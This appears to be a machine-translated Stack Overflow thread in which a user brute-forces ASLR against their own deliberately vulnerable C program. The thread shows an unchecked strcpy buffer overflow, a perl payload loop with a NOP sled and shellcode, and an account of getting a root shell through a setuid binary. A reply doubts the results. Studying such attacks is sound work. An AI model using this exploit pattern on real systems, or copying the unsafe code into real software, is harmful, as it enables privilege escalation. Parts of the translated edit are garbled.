我刚刚读到关于Address布局随机化的文章,我尝试了一个非常简单的脚本,试图用暴力强迫它。这是我用来测试一些东西的程序。
#include <stdio.h>
#include <string.h>
int main (int argc, char **argv)
{
char buf[8];
printf("&buf = %p\n", buf);
if (argc > 1 && strcpy(buf, argv[1]));
return 0;
}我用以下命令编译了它:
gcc -g -fno-stack-protector -o vul vul.c我确保启用了ASLR:
$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 2然后,我想出了一个简单的脚本:
str=`perl -e 'print "\x40\xfa\xbb\xbf"x10 \
. "\x90"x65536 \
. "\x31\xc0\x40\x89\xc3\xcd\x80"'`
while [ $? -ne 1 ]; do
./vul $str
done格式是
return address many times | 64KB NOP slide | shellcode that runs exit(1)运行此脚本几秒钟后,它将按我的要求使用错误代码1退出。我还尝试了调用execv("/bin/sh",.)的其他sh代码。我也很成功。
我觉得奇怪的是,即使在返回地址之后,也有可能创建这么长的NOP幻灯片。我觉得ASLR更有效,是不是漏了什么?是因为地址空间太小吗?
编辑:我做了一些额外的研究,下面是我发现的:
-m32 -z execstack运行这段代码,在更改了返回地址后,他得到了同样的结果。-z execstack,我还是成功地执行了外壳代码。我通过使用不同的shell代码(甚至是熟悉的场景chown root ./vul、chmod +s ./vul、运行setreuid(0, 0)的shell代码,然后是execv("/bin/sh", ...),最后是在生成的shell中返回'root‘的whoami )来确保这一点。这是相当奇怪的,因为execstack -q ./vul告诉我可执行堆栈标志位没有设置。有人知道为什么吗?发布于 2013-04-19 19:57:38
首先,我有点惊讶,您不需要将选项-z execstack传递给编译器以获得执行exit(1)的外壳代码。
此外,我猜您在32位机器上,因为您没有将选项-m32传递给gcc以获得32位代码。
最后,我确实运行了你的程序,但没有成功(我等了几秒钟以上)。
因此,我对您的结论有点怀疑(除非您正在运行一个非常特殊的Linux系统,或者可能是幸运的)。
不管怎么说,有两件事你没有提到:
您可以查看ASLR维基百科页面上的"ASLR有效性“部分。
https://stackoverflow.com/questions/16110591
复制相似问题